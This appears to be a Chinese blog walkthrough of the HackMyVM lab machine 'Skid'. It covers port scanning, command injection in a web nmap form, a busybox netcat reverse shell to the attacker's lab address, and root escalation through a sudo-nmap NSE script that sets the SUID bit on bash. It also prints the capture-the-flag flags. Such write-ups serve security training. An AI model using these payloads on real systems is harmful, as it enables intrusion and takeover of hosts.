<h1>Skid.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Skid">https://hackmyvm.eu/machines/machine.php?vm=Skid</a>
</blockquote>
<img src="/post-images/HackMyVMSkid/image.png" alt="image.png">
<h2>Recon</h2>
端口扫描
<pre><code class="hljs language-jsx">➜ Skid nmap -p- -n -Pn -sV 192.168.56.101 -min-rate 10000 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 10:33 CST
Nmap scan report for 192.168.56.101
Host is up (0.00032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 3.0.6 (Python 3.8.10)
MAC Address: 08:00:27:0A:0E:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.51 seconds
</code></pre>
5000 端口是 HTTP，对其进行目录扫描，能找到一些有趣的目录
<img src="/post-images/HackMyVMSkid/image1.png" alt="image.png">
<h2>命令注入</h2>
看一下scan 的源码，可以看到需要 target 参数
<pre><code class="hljs language-jsx">➜ Skid curl 192.168.56.101:5000/scan 
&#x3C;!DOCTYPE html>
&#x3C;html>
&#x3C;head>
 &#x3C;title>Jeremy's Hacker Panel&#x3C;/title>
 &#x3C;link rel="stylesheet" href="/static/style.css">
&#x3C;/head>
&#x3C;body>

&#x3C;nav>
 &#x3C;a href="/">Home&#x3C;/a>
 &#x3C;a href="/scan">Nmap Scan&#x3C;/a>
 &#x3C;a href="/payload">Reverse Shell&#x3C;/a>
&#x3C;/nav>

&#x3C;div class="container">
 
&#x3C;h2>Nmap Scanner&#x3C;/h2>

&#x3C;form method="POST">
 Target:
 &#x3C;input type="text" name="target">
 &#x3C;button type="submit">Scan&#x3C;/button>
&#x3C;/form>
</code></pre>
测试命令注入，可以看到回显了 whoami 的信息，显示当前账户是 <code>jeremy</code>
<pre><code class="hljs language-jsx">➜ Skid curl 192.168.56.101:5000/scan -X POST -d 'target=127.0.0.1;whoami'
......

&#x3C;pre>Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-03 02:59 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000028s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp

Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds
jeremy
</code></pre>
进行反弹 <code>shell</code>
<pre><code class="hljs language-jsx">curl 192.168.56.101:5000/scan -X POST -d 'target=127.0.0.1;busybox nc 192.168.56.102 4444 -e /bin/bash'
</code></pre>
<img src="/post-images/HackMyVMSkid/image2.png" alt="image.png">
<pre><code class="hljs language-jsx">jeremy@skid:~$ cat user.txt 
hmv{7609a0e2e5bf272609dd3e12727eed76}
</code></pre>
<h2>提权</h2>
<code>jeremy</code> 用户家目录下有挺多有意思的东西
<pre><code class="hljs language-jsx">jeremy@skid:~$ ls -al
total 72
drwxr-xr-x 9 jeremy jeremy 4096 Nov 14 14:59 .
drwxr-xr-x 3 root root 4096 Nov 13 20:45 ..
drwxrwxr-x 4 jeremy jeremy 4096 Nov 14 13:22 app
lrwxrwxrwx 1 root root 9 Nov 14 10:20 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3796 Nov 14 13:42 .bashrc
drwx------ 3 jeremy jeremy 4096 Nov 14 09:09 .cache
-rw-rw-r-- 1 jeremy jeremy 1056 Nov 14 14:59 changes.txt
drwxrwxr-x 2 jeremy jeremy 4096 Nov 13 20:49 hacking-tools
drwx------ 4 jeremy jeremy 4096 Nov 14 09:09 .local
-rw-r--r-- 1 jeremy jeremy 807 Feb 25 2020 .profile
-rw-rw-r-- 1 jeremy jeremy 75 Nov 14 13:25 .selected_editor
drwx------ 2 jeremy jeremy 4096 Nov 13 20:45 .ssh
-rw-r--r-- 1 jeremy jeremy 0 Nov 13 20:46 .sudo_as_admin_successful
-rw-rw-r-- 1 jeremy jeremy 38 Nov 14 08:51 user.txt
drwxr-xr-x 2 jeremy jeremy 4096 Nov 14 13:32 .vim
-rw------- 1 jeremy jeremy 11223 Nov 14 14:59 .viminfo
drwxrwxr-x 2 jeremy jeremy 4096 Nov 14 14:58 wordlists
</code></pre>
查看 sudo 信息，不对
<pre><code class="hljs language-jsx">jeremy@skid:~$ sudo -l
Matching Defaults entries for jeremy on skid:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jeremy may run the following commands on skid:
 (root) NOPASSWD: /usr/bin/nmap
</code></pre>
666 假的 root.txt
<pre><code class="hljs language-jsx">jeremy@skid:~$ sudo nmap -iL /root/root.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-03 03:13 UTC
Failed to resolve "Help".
Failed to resolve "I".
Failed to resolve "lost".
Failed to resolve "the".
Failed to resolve "root".
Failed to resolve "flag!".
Failed to resolve "Can".
Failed to resolve "you".
Failed to resolve "please".
Failed to resolve "help".
Failed to resolve "me".
Failed to resolve "find".
Failed to resolve "it?".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.02 seconds
</code></pre>
命令执行提权
<pre><code class="hljs language-jsx">TF=$(mktemp)
echo 'os.execute("chmod +s /bin/bash")' > $TF
nmap --script=$TF
</code></pre>
<img src="/post-images/HackMyVMSkid/image3.png" alt="image.png">
找 <code>root.txt</code> 怀疑文件名都改了，索性直接找 flag 格式
最后在 <code>/var</code> 中找到，并且文件名没有修改
<pre><code class="hljs language-jsx">bash-5.0# grep -rE 'hmv{' /var 2>/dev/null
/var/lib/.cache2/root.txt:hmv{1826b83f95bd2ffc5a665bcd54df7ed5}
</code></pre>
<h2>总结</h2>
不难，最后使用 MCP 又打了一遍，两分钟就拿到了 <code>user</code> ，有点强了
<img src="/post-images/HackMyVMSkid/image4.png" alt="image.png">

Skid. https://hackmyvm.eu/machines/machine.php?vm=Skid Recon 端口扫描 5000 端口是 HTTP，对其进行目录扫描，能找到一些有趣的目录 命令注入 看一下scan 的源码，可以看到需要 target 参数 测试命令注入，可以看到回显了 w...

HackMyVM - Skid

Machine - victorique